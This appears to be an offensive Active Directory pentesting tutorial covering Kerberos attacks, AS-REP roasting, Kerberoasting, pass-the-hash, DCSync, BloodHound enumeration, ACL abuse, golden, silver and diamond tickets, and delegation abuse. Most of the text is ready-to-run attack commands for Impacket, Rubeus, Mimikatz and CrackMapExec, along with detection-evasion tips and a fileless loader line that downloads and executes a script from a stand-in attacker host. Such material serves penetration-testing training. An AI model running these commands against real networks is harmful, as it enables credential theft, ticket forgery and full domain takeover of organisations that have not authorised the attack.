Kerberoasting, BloodHound, Pass-the-Hash, DCSync, Golden Tickets β own the domain.
95% of enterprise networks run Active Directory. If you want to do real-world pentesting, you need to know how to attack it.
Active Directory (AD) is Microsoft's directory service β it manages users, computers, groups, and permissions across an entire corporate network. Understanding AD structure is essential before you can attack it.
# The Kerberos authentication flow:
# Step 1: AS-REQ β AS-REP (Authentication Service)
# Client sends: "I am user@domain, give me a ticket"
# KDC verifies identity, sends back:
# - TGT (Ticket Granting Ticket) β encrypted with krbtgt hash
# - Session key β encrypted with user's password hash
# Step 2: TGS-REQ β TGS-REP (Ticket Granting Service)
# Client sends: TGT + "I want to access SERVICE on SERVER"
# KDC sends back:
# - Service Ticket (TGS) β encrypted with service account's hash
# - Session key for the service
# Step 3: AP-REQ β AP-REP (Application)
# Client sends: Service Ticket to the target server
# Server decrypts with its own hash, grants access
# Why this matters for attacks:
# - TGT encrypted with krbtgt β Golden Ticket (forge any TGT)
# - TGS encrypted with service hash β Kerberoasting (crack offline)
# - No pre-auth required β AS-REP Roasting
If a user has "Do not require Kerberos preauthentication" set, you can request their encrypted TGT without knowing their password β then crack it offline.
Impacket is a collection of Python tools for working with network protocols β it's the go-to toolkit for attacking Windows/AD from Linux. Rubeus is a Windows-native tool for Kerberos attacks, used when you're already on a domain-joined machine.
# Find AS-REP roastable users
# GetNPUsers queries the domain for accounts that don't require pre-auth
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
# From a domain-joined machine (Rubeus does the same thing natively on Windows):
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Crack the hash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Any domain user can request a service ticket for any SPN. The ticket is encrypted with the service account's password hash β crack it offline.
# Get service tickets (need valid domain creds)
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request
# From Windows:
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Crack
hashcat -m 13100 ticket.txt /usr/share/wordlists/rockyou.txt
With NTLM, you don't need the password β just the hash. If you dump a user's NTLM hash, you can authenticate as them:
# Impacket provides several tools that give you a shell on a remote Windows machine.
# Each uses a different method β psexec creates a service, wmiexec uses WMI, smbexec uses SMB:
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-smbexec domain.htb/admin@TARGET -hashes :NTLM_HASH
# evil-winrm is a shell tool for Windows Remote Management (WinRM, port 5985).
# The -H flag means "use this hash instead of a password":
evil-winrm -i TARGET -u admin -H NTLM_HASH
# CrackMapExec (CME) is a Swiss Army knife for pentesting Windows/AD networks.
# Here it sprays the hash across an entire subnet to find where the creds work:
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH --exec-method smbexec -x 'whoami'
A DCSync attack impersonates a Domain Controller and requests password replication data β giving you every user's hash in the domain. Mimikatz is the legendary Windows credential extraction tool that can pull passwords and hashes from memory, among many other attacks.
# If you have Replicating Directory Changes (All) permissions:
# (Domain Admins have this by default)
# secretsdump pretends to be a DC and requests all password hashes:
impacket-secretsdump domain.htb/admin:password@DC_IP
# Dump specific user:
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user krbtgt
# From Windows β Mimikatz performs the same attack natively:
mimikatz# lsadump::dcsync /domain:domain.htb /user:krbtgt
# Once you have the krbtgt hash β Golden Ticket!
BloodHound maps AD relationships and finds attack paths you'd never spot manually. It has two parts: a collector (gathers AD data) and a UI (visualizes the data as a graph you can query).
# Collect data β bloodhound-python is the Linux-based collector
bloodhound-python -u user -p 'password' -d domain.htb -ns DC_IP -c all
# SharpHound is the Windows-based collector β run it from a domain-joined machine:
SharpHound.exe -c all --zipfilename loot.zip
# Import into BloodHound UI and look for:
# - Shortest path to Domain Admin
# - Kerberoastable users
# - Unconstrained delegation
# - ACL abuse paths
# - Users with DCSync rights
# Key queries to run:
# "Find Shortest Paths to Domain Admins"
# "Find AS-REP Roastable Users"
# "Find Kerberoastable Users"
# "Shortest Paths from Owned Principals"
$ impacket- domain.htb/admin:password@DC_IP
impacket-secretsdump performs a DCSync attack β it impersonates a Domain Controller and requests password data replication. This dumps all domain user NTLM hashes, including the krbtgt hash (which can be used to forge Golden Tickets). You need "Replicating Directory Changes" permissions, which Domain Admins have by default.ACLs (Access Control Lists) define who can do what to AD objects (users, groups, computers). Misconfigurations give attackers powerful shortcuts to escalation β for example, if your compromised user has "GenericAll" permission on a Domain Admin, you can simply reset their password.
# Common abusable ACL permissions:
# GenericAll β Full control. Reset password, add to group, anything.
# GenericWrite β Modify attributes. Set SPN (targeted Kerberoasting), set RBCD (Resource-Based Constrained Delegation).
# WriteDACL β Modify permissions. Grant yourself GenericAll.
# WriteOwner β Take ownership. Then grant yourself permissions.
# ForceChangePassword β Reset user's password without knowing current.
# AddMember β Add yourself to a group (e.g., Domain Admins).
# Example: You have GenericAll on a user
# Reset their password:
net rpc password "TARGET_USER" "NewPass123!" -U 'domain/your_user%your_pass' -S DC_IP
# Add user to Domain Admins:
net rpc group addmem "Domain Admins" "TARGET_USER" -U 'domain/your_user%your_pass' -S DC_IP
π‘ Real example: In our Hercules writeup, we discovered LDAP injection in an SSO portal using double URL encoding to bypass a regex filter β extracting user credentials for a Kerberos-only domain controller.
You've got a foothold β a shell on a domain-joined machine, or valid domain credentials from phishing/password spraying. Now what? Enumeration is everything. Before you fire any exploits, you need to understand the terrain: who are the high-value users, what groups exist, where are the DCs, what trusts exist, and where can your current user reach?
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β AD ENUMERATION WORKFLOW β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β [Initial Foothold] β
β β β
β βΌ β
β βββββββββββββββ Who am I? What privileges? β
β β whoami /all βββββΊ SIDs, groups, privileges β
β βββββββ¬ββββββββ β
β β β
β βΌ β
β ββββββββββββββββ What's the domain structure? β
β β net commands ββββΊ Users, groups, DCs, trusts β
β βββββββ¬βββββββββ β
β β β
β βΌ β
β ββββββββββββββββ Deep enumeration via LDAP/PowerView β
β β PowerView / ββββΊ ACLs, SPNs, delegations, sessions β
β β ldapsearch β β
β βββββββ¬βββββββββ β
β β β
β βΌ β
β ββββββββββββββββ Visualize attack paths β
β β BloodHound ββββΊ Shortest path to DA, ACL abuse chains β
β ββββββββββββββββ β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
The very first thing you run on a domain-joined Windows box:
# Full identity check β shows your user, SIDs, group memberships, and privileges
whoami /all
# Quick group check
whoami /groups
# What domain am I in?
systeminfo | findstr /B "Domain"
# What's the DC?
nltest /dclist:domain.htb
echo %logonserver%
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.htb
π‘ Pro tip: Check whoami /priv immediately. If you see SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can likely escalate to SYSTEM using Potato attacks (JuicyPotato, PrintSpoofer, GodPotato). If you see SeBackupPrivilege, you can dump SAM/NTDS.dit directly.
# List ALL domain users
net user /domain
# Detailed info on a specific user (group membership, last logon, password policy)
net user administrator /domain
net user svc_sql /domain
# Domain Admins β these are the crown jewels
net group "Domain Admins" /domain
# Other interesting groups
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain
net group "Account Operators" /domain
net group "Server Operators" /domain
net group "Backup Operators" /domain
net group "DnsAdmins" /domain
# Trust relationships
nltest /domain_trusts /all_trusts
# Password policy (lockout threshold matters for spraying!)
net accounts /domain
# List all computers
net group "Domain Computers" /domain
# List all DCs
net group "Domain Controllers" /domain
# Shares on remote machines
net view \\DC01.domain.htb /all
π‘ Pro tip: Always check the password policy BEFORE password spraying. If the lockout threshold is 5, and you spray 6 passwords, you've just locked out every account in the domain. That's a bad day for you AND the client. Stick to 1-2 attempts per lockout window.
PowerView is a PowerShell module from the PowerSploit/SharpSploit suite. It's the most powerful enumeration tool you can run from a domain-joined Windows host. Import it with Import-Module .\PowerView.ps1 or use IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerView.ps1') for fileless execution.
# Import PowerView
Import-Module .\PowerView.ps1
# βββ Domain Info βββ
Get-Domain # Current domain info
Get-DomainController # List all DCs
Get-DomainPolicy # Password policy, Kerberos policy
# βββ User Enumeration βββ
Get-DomainUser # All domain users
Get-DomainUser -Identity svc_sql # Specific user details
Get-DomainUser -SPN # Kerberoastable users (have SPNs)
Get-DomainUser -PreauthNotRequired # AS-REP roastable users
Get-DomainUser -AdminCount # Users with adminCount=1 (protected by AdminSDHolder)
Get-DomainUser | Where-Object {$_.description -like "*pass*"} # Passwords in descriptions!
# βββ Group Enumeration βββ
Get-DomainGroup # All groups
Get-DomainGroup -Identity "Domain Admins" # DA group info
Get-DomainGroupMember -Identity "Domain Admins" -Recurse # Nested members too!
Get-DomainGroup -UserName "jsmith" # What groups is jsmith in?
# βββ Computer Enumeration βββ
Get-DomainComputer # All computers
Get-DomainComputer -OperatingSystem "*Server*" # Servers only
Get-DomainComputer -Unconstrained # Unconstrained delegation!
Get-DomainComputer | Where-Object {$_.ms-ds-machineaccountquota -gt 0}
# βββ Find Where You Can Admin βββ
Find-LocalAdminAccess # Machines where current user is local admin
Find-DomainUserLocation # Where are domain admins logged in?
Find-DomainShare -CheckShareAccess # Accessible shares (might have creds/configs)
# βββ ACL Enumeration βββ
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs # ACLs on DA group
Find-InterestingDomainAcl -ResolveGUIDs # All interesting ACLs
# βββ Trust Enumeration βββ
Get-DomainTrust # Domain trusts
Get-ForestTrust # Forest trusts
Get-DomainTrustMapping # Full trust map
# βββ GPO Enumeration βββ
Get-DomainGPO # All GPOs
Get-DomainGPOLocalGroup # GPOs that modify local group membership
Get-DomainOU # Organizational Units
π‘ Pro tip:Find-LocalAdminAccessis LOUD β it touches every machine in the domain. On a real engagement, use it sparingly or target specific OUs.Get-DomainUser -SPNis completely silent and gives you Kerberoasting targets instantly.
When you're attacking from a Linux box with valid credentials, ldapsearch is your best friend. It queries the AD LDAP database directly.
# First, get the base DN (distinguished name) for the domain
# domain.htb β DC=domain,DC=htb
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(objectClass=domain)' | grep -i dn
# All users
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(objectClass=user)' sAMAccountName description memberOf
# Domain Admins members
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(&(objectClass=group)(cn=Domain Admins))' member
# Kerberoastable accounts (users with SPNs)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
# AS-REP roastable (no preauth required)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
# Computers with unconstrained delegation
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' sAMAccountName
# Find passwords in user descriptions (you'd be surprised how often this works!)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(&(objectClass=user)(description=*))' sAMAccountName description | grep -i -E '(pass|pwd|cred)'
# LAPS passwords (if you have read access)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
'(objectClass=computer)' ms-Mcs-AdmPwd sAMAccountName
π‘ Pro tip: Usewindapsearchorldapdomaindumpfor automated LDAP enumeration.ldapdomaindumpproduces nice HTML reports:ldapdomaindump -u 'domain\user' -p 'password' DC_IP
BloodHound is the single most impactful tool in AD pentesting. It takes the raw data of AD β users, groups, ACLs, sessions, trusts β and visualizes it as a graph database. Relationships that would take hours to discover manually become obvious attack paths in seconds.
BloodHound needs data from collectors. You have two main options:
# βββ SharpHound (Windows β run from domain-joined machine) βββ
# Collects the most complete data since it runs in the domain context
# Full collection β get everything
SharpHound.exe -c all --zipfilename loot.zip
# Stealthy β skip session collection (it's the noisiest)
SharpHound.exe -c DCOnly --zipfilename loot.zip
# Target specific domain
SharpHound.exe -c all -d child.domain.htb --zipfilename child_loot.zip
# Loop mode β keeps collecting session data over time
# (more sessions = more attack paths discovered)
SharpHound.exe -c Session --loop --loopduration 02:00:00
# PowerShell version (if you can't drop an exe)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp -ZipFileName loot.zip
# βββ BloodHound.py (Linux β remote collection) βββ
# Doesn't need to be on a domain machine, just needs creds
# Full collection
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all
# With hash instead of password
bloodhound-python -u 'user' --hashes :NTLM_HASH -d domain.htb -ns DC_IP -c all
# Specific collection methods
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP \
-c group,localadmin,session,acl,trusts
# Via DNS name resolution
bloodhound-python -u 'user' -p 'password' -d domain.htb -dc DC01.domain.htb -c all
π‘ Pro tip: SharpHound's-c allincludes session collection, which connects to every machine to check who's logged in. This is NOISY. On a stealthy engagement, use-c DCOnlyfirst (queries only the DC via LDAP), then selectively collect sessions on high-value targets later.
# Start BloodHound (needs neo4j running)
sudo neo4j start
bloodhound
# In BloodHound GUI:
# 1. Click "Upload Data" β select your .zip files
# 2. Wait for ingestion to complete
# 3. Mark your compromised user as "Owned" (right-click β Mark User as Owned)
# 4. Start running queries!
These are the queries you should run in order on every engagement:
# βββ Pre-built Queries (in the BloodHound UI) βββ
# 1. "Shortest Paths from Owned Principals"
# β Your #1 query. Shows how to escalate from what you have.
#
# 2. "Find Shortest Paths to Domain Admins"
# β The classic. May show paths you can't use yet β but gives the map.
#
# 3. "Find All Kerberoastable Users"
# β Immediate offline cracking targets.
#
# 4. "Find AS-REP Roastable Users (DontReqPreAuth)"
# β Free hashes β no creds needed to request them.
#
# 5. "Find Computers with Unconstrained Delegation"
# β Dangerous machines that cache TGTs.
#
# 6. "Shortest Paths to High Value Targets"
# β BloodHound auto-marks key targets (DC, DA, etc.)
#
# 7. "Find Principals with DCSync Rights"
# β Who can perform DCSync? Maybe your user can already.
#
# 8. "Shortest Paths from Domain Users to High Value Targets"
# β What can ANY domain user do? Often shocking.
BloodHound uses Neo4j as its backend. You can write raw Cypher queries for things the pre-built queries don't cover:
# Find all users with an SPN (Kerberoastable)
MATCH (u:User) WHERE u.hasspn=true
RETURN u.name, u.serviceprincipalnames
# Find users with "password" in their description
MATCH (u:User) WHERE u.description CONTAINS "pass"
RETURN u.name, u.description
# Shortest path from a specific user to Domain Admins
MATCH p=shortestPath((u:User {name:"[email protected]"})-[*1..]->(g:Group {name:"DOMAIN [email protected]"}))
RETURN p
# All users who can DCSync
MATCH p=(u)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain)
WHERE u.name IS NOT NULL
RETURN u.name, labels(u)
# Find computers where Domain Admins have sessions
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN [email protected]"})
RETURN c.name, u.name
# All paths from owned principals (custom depth)
MATCH p=shortestPath((u {owned:true})-[*1..6]->(g:Group {name:"DOMAIN [email protected]"}))
RETURN p
# Users with constrained delegation
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL
RETURN u.name, u.allowedtodelegate
# Machines where a specific user is local admin
MATCH (u:User {name:"[email protected]"})-[:AdminTo]->(c:Computer)
RETURN c.name
# Find all ACL edges from a specific group
MATCH p=(g:Group {name:"IT [email protected]"})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember]->(target)
RETURN p
Understanding edges is critical. Each edge type represents a different abusable relationship:
# βββ ACL-Based Edges βββ
#
# GenericAll
# β FULL control. You can do ANYTHING to this object.
# β On a user: reset password, set SPN, modify attributes
# β On a group: add members (including yourself)
# β On a computer: configure RBCD, read LAPS
# β ABUSE: Reset password, targeted Kerberoast, RBCD
#
# GenericWrite
# β Can modify non-protected attributes
# β On a user: set SPN (targeted Kerberoast), modify logon script
# β On a computer: set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
# β ABUSE: Targeted Kerberoast, RBCD, Shadow Credentials
#
# WriteDACL
# β Can MODIFY the ACL itself. Grant yourself GenericAll first,
# then do anything.
# β ABUSE: Grant self GenericAll β full control
#
# WriteOwner
# β Can change the object's owner. New owner can modify DACL.
# β ABUSE: Take ownership β WriteDACL β GenericAll β full control
#
# ForceChangePassword
# β Reset target's password WITHOUT knowing the current one.
# β ABUSE: Directly change password and log in as them
#
# AddMember
# β Can add members to a group.
# β ABUSE: Add yourself to Domain Admins (or any privileged group)
#
# βββ Kerberos Edges βββ
#
# AllowedToDelegate
# β Constrained delegation. Can request TGS as any user to specific SPNs.
# β ABUSE: S4U2Self + S4U2Proxy to impersonate admin
#
# AllowedToAct
# β Resource-Based Constrained Delegation (RBCD)
# β ABUSE: Configure delegation to get admin access
#
# HasSIDHistory
# β Object has the SID of another object in its SID history.
# β ABUSE: Inherits all access of the historical SID
#
# βββ Session/Admin Edges βββ
#
# HasSession
# β User has a session on this computer (logged in)
# β ABUSE: Dump creds from that machine (LSASS)
#
# AdminTo
# β User/group is local admin on this computer
# β ABUSE: Remote code execution, credential dumping
#
# CanRDP
# β Can RDP to this machine
#
# CanPSRemote
# β Can use PowerShell remoting (WinRM)
#
# ExecuteDCOM
# β Can execute commands via DCOM
π‘ Pro tip: BloodHound Community Edition (CE) and BloodHound Enterprise are the newer versions with a web UI and API. The classic "BloodHound Legacy" uses the Electron app + Neo4j. Both work β CE is where active development is happening. If you're learning, either works fine.
Kerberos is the default authentication protocol in AD and it's absolutely riddled with abusable design decisions. Let's go deep on every major Kerberos attack.
When a user has "Do not require Kerberos preauthentication" enabled, the KDC will hand back an encrypted AS-REP to anyone who asks β no password needed. The AS-REP contains material encrypted with the user's password hash, which we can crack offline.
# βββ From Linux (Impacket) βββ
# With a user list (no creds needed β we're testing who doesn't require preauth)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.100 \
-format hashcat -outputfile asrep_hashes.txt
# With valid creds (enumerate + roast automatically)
impacket-GetNPUsers domain.htb/user:password -dc-ip 10.10.10.100 -request \
-format hashcat -outputfile asrep_hashes.txt
# βββ From Windows (Rubeus) βββ
# Find and roast all AS-REP vulnerable users
Rubeus.exe asreproast /format:hashcat /outfile:C:\temp\asrep.txt
# Target specific user
Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:C:\temp\asrep.txt
# With alternate credentials
Rubeus.exe asreproast /creduser:domain\user /credpassword:pass123 /format:hashcat
# βββ Cracking βββ
# Hashcat mode 18200 for AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# John the Ripper
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
π‘ Pro tip: If you have GenericAll/GenericWrite on a user, you can ENABLE "Do not require Kerberos preauthentication" on them, then AS-REP roast them. This is called targeted AS-REP Roasting. After cracking, disable the flag to avoid detection.
Any authenticated domain user can request a TGS for any SPN in the domain. The TGS is encrypted with the service account's NTLM hash. Crack it offline β no lockouts, no alerts (unless they're specifically monitoring for mass TGS requests).
# βββ From Linux (Impacket) βββ
# Request all Kerberoastable hashes
impacket-GetUserSPNs domain.htb/user:password -dc-ip 10.10.10.100 -request \
-outputfile kerberoast.txt
# With hash authentication (pass-the-hash)
impacket-GetUserSPNs domain.htb/user -hashes :NTLM_HASH -dc-ip 10.10.10.100 \
-request -outputfile kerberoast.txt
# Target specific SPN
impacket-GetUserSPNs domain.htb/user:password -dc-ip 10.10.10.100 \
-request-user svc_sql -outputfile kerberoast.txt
# βββ From Windows (Rubeus) βββ
# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:C:\temp\kerberoast.txt
# Target specific user
Rubeus.exe kerberoast /user:svc_sql /outfile:C:\temp\kerberoast.txt
# Use RC4 downgrade (faster to crack β but more detectable)
Rubeus.exe kerberoast /tgtdeleg /outfile:C:\temp\kerberoast.txt
# Kerberoast with AES (stealthier, matches normal traffic)
Rubeus.exe kerberoast /aes /outfile:C:\temp\kerberoast.txt
# βββ Targeted Kerberoasting βββ
# If you have GenericAll/GenericWrite on a user, set an SPN on them, then Kerberoast
# Set SPN (PowerView)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='nonexistent/YOURSPN'}
# Kerberoast that specific user
Rubeus.exe kerberoast /user:targetuser /outfile:C:\temp\targeted.txt
# Clean up β remove the SPN
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
# βββ Cracking βββ
# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt # AES tickets
# John
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
π‘ Pro tip: Service accounts with AES encryption enabled produce AES-encrypted tickets (hashcat mode 19700) which are MUCH slower to crack. Rubeus's /tgtdeleg flag forces RC4 by abusing the TGT delegation trick β faster cracking but leaves more detectable artifacts. Choose your trade-off.
A Golden Ticket is a forged TGT β you create a valid Kerberos TGT for ANY user (even non-existent ones) using the krbtgt hash. Since every DC trusts TGTs encrypted with the krbtgt key, this gives you unrestricted access to every service in the domain for as long as you want.
# How a Golden Ticket works:
#
# Normal Authentication:
# ββββββββββ AS-REQ (creds) βββββββ
# β Client β βββββββββββββββββββΊ β KDC β
# β β βββββββββββββββββββ β β
# ββββββββββ AS-REP (TGT) βββββββ
# encrypted with
# krbtgt hash
#
# Golden Ticket Attack:
# ββββββββββ We forge our OWN TGT βββββββ
# βAttackerβ using stolen krbtgt hash β KDC β
# β β (skip KDC entirely!) β β
# βββββ¬βββββ ββββ¬βββ
# β β
# β ββββββββββββββββββββββββ β
# βββΊβ Forged TGT says: β β
# β "I am Administrator"β β
# β "I'm a Domain Admin"β β
# β Valid for 10 years β β
# ββββββββββββ¬ββββββββββββ β
# β TGS-REQ β
# ββββββββββββββββββββββββΊβ
# KDC trusts TGT! β
# ββββββββββββββββββββββββ
# TGS-REP (service ticket)
# βββ Prerequisites βββ
# You need the krbtgt NTLM hash + domain SID
# Get these via DCSync or NTDS.dit extraction
# Get domain SID (from any domain user)
whoami /user
# Or from Linux:
impacket-lookupsid domain.htb/user:password@DC_IP
# βββ Create Golden Ticket with Mimikatz βββ
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:KRBTGT_NTLM_HASH /ptt
# /user: β The user to impersonate (doesn't need to exist!)
# /domain: β Domain FQDN
# /sid: β Domain SID
# /krbtgt: β The krbtgt NTLM hash
# /ptt β Pass the ticket (inject into current session)
# βββ Create Golden Ticket with Impacket βββ
impacket-ticketer -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
-domain domain.htb Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec domain.htb/[email protected] -k -no-pass
impacket-secretsdump domain.htb/[email protected] -k -no-pass
# βββ Create Golden Ticket with Rubeus βββ
Rubeus.exe golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /ptt
A Silver Ticket is a forged TGS β access to a specific service without ever talking to the KDC. You only need the service account's NTLM hash (not the krbtgt). It's stealthier than a Golden Ticket because the DC is never contacted.
# How a Silver Ticket works:
#
# Normal flow:
# ββββββββββ TGS-REQ βββββββ TGS-REP βββββββββββ
# β Client β βββββββββΊ β KDC β βββββββββΊ β Service β
# β β βββββββ β (CIFS, β
# β β βββββββββββββββββββββββββββββΊβ HTTP) β
# ββββββββββ AP-REQ (service ticket) βββββββββββ
#
# Silver Ticket:
# ββββββββββββ We forge the TGS directly βββββββββββ
# β Attacker β ββββββββββββββββββββββββββββββββββΊβ Service β
# β β AP-REQ (forged service ticket) β β
# ββββββββββββ Encrypted with service hash βββββββββββ
# KDC is NEVER contacted!
# (harder to detect)
# βββ Mimikatz βββ
# Silver ticket for CIFS (file shares) on DC01
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX \
/target:DC01.domain.htb /service:cifs \
/rc4:SERVICE_NTLM_HASH /ptt
# Silver ticket for HTTP (web services)
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX \
/target:WEB01.domain.htb /service:http \
/rc4:SERVICE_NTLM_HASH /ptt
# Silver ticket for LDAP on DC (enables DCSync!)
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
/sid:S-1-5-21-XXXX-XXXX-XXXX \
/target:DC01.domain.htb /service:ldap \
/rc4:DC01_MACHINE_HASH /ptt
# βββ Impacket βββ
impacket-ticketer -nthash SERVICE_NTLM_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
-domain domain.htb -spn cifs/DC01.domain.htb Administrator
export KRB5CCNAME=Administrator.ccache
impacket-smbclient domain.htb/[email protected] -k -no-pass
# Common service SPNs for Silver Tickets:
# cifs β File shares (\\server\share)
# http β Web services, WinRM
# ldap β LDAP queries, DCSync
# mssql β SQL Server access
# host β PsExec, task scheduler
# wsman β WinRM / PowerShell remoting
A Diamond Ticket is a modified legitimate TGT β rather than forging a ticket from scratch (Golden Ticket), you request a real TGT and then decrypt it with the krbtgt hash, modify the PAC (Privileged Attribute Certificate) to add Domain Admin groups, and re-encrypt it. This is harder to detect because the ticket metadata looks legitimate.
# Rubeus Diamond Ticket
Rubeus.exe diamond /krbkey:AES256_KRBTGT_KEY /user:Administrator \
/domain:domain.htb /dc:DC01.domain.htb /ticketuser:regularuser \
/ticketuserid:1103 /groups:512 /ptt
# /krbkey: β AES256 key of krbtgt (preferred over NTLM for stealth)
# /ticketuser: β The user whose TGT to modify
# /groups:512 β 512 = Domain Admins group RID
π‘ Pro tip: Detection difficulty ranking: Golden Ticket (easiest to detect β anomalous ticket lifetime, encryption type mismatch) β Silver Ticket (moderate β PAC validation can catch it) β Diamond Ticket (hardest β looks like a real ticket with legitimate metadata).
Kerberos delegation allows a service to act on behalf of a user. It's needed for scenarios like "web server accesses SQL on behalf of the logged-in user." But misconfigurations make it devastating.
A computer with unconstrained delegation caches the TGT of any user that authenticates to it. If you compromise that machine, you get everyone's TGTs β including Domain Admins.
# Find computers with unconstrained delegation
# PowerView:
Get-DomainComputer -Unconstrained
# LDAP:
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'pass' -b 'DC=domain,DC=htb' \
'(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' cn
# BloodHound: "Find Computers with Unconstrained Delegation"
# βββ Exploitation βββ
# Step 1: Compromise the machine with unconstrained delegation
# Step 2: Monitor for incoming TGTs (Rubeus)
Rubeus.exe monitor /interval:5 /nowrap
# Step 3: Coerce authentication from the DC (PrinterBug / PetitPotam)
# From another machine, trigger the DC to auth to our compromised machine:
SpoolSample.exe DC01.domain.htb COMPROMISED-SERVER.domain.htb
# Step 4: Rubeus captures the DC's TGT
# Step 5: Use the TGT for DCSync
Rubeus.exe ptt /ticket:BASE64_TGT
mimikatz# lsadump::dcsync /domain:domain.htb /user:krbtgt
Constrained delegation limits which services a machine/user can delegate to. But the S4U (Service for User) protocol extensions let you abuse it to impersonate any user to the allowed services.
# Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Check the msDS-AllowedToDelegateTo attribute
Get-DomainUser svc_web -Properties msds-AllowedToDelegateTo
# βββ Exploitation with Rubeus βββ
# S4U2Self: Get a ticket to ourselves as any user
# S4U2Proxy: Forward that ticket to the allowed service
# If we have the hash/password of the constrained delegation account:
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator \
/msdsspn:cifs/DC01.domain.htb /ptt
# Alternative SPN (the target service in AllowedToDelegateTo)
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator \
/msdsspn:http/DC01.domain.htb /altservice:cifs /ptt
# βββ Exploitation with Impacket βββ
impacket-getST -spn 'cifs/DC01.domain.htb' -impersonate Administrator \
'domain.htb/svc_web:password'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
RBCD flips the delegation model β instead of the delegating account specifying what it can delegate to, the target machine specifies who is allowed to delegate to it (via msDS-AllowedToActOnBehalfOfOtherIdentity). If you can write to that attribute on a computer, you can configure RBCD and get admin access.
# Requirements: GenericAll/GenericWrite/WriteDACL on a computer object
# + ability to create a machine account (default: any domain user can create up to 10)
# Step 1: Create a new machine account
impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'EvilPass123!' \
-dc-ip DC_IP domain.htb/user:password
# Step 2: Set RBCD β configure target to trust our new machine
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
-dc-ip DC_IP domain.htb/user:password
# Step 3: S4U to get admin ticket
impacket-getST -spn 'cifs/TARGET.domain.htb' -impersonate Administrator \
-dc-ip DC_IP 'domain.htb/EVIL$:EvilPass123!'
# Step 4: Use the ticket
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.domain.htb
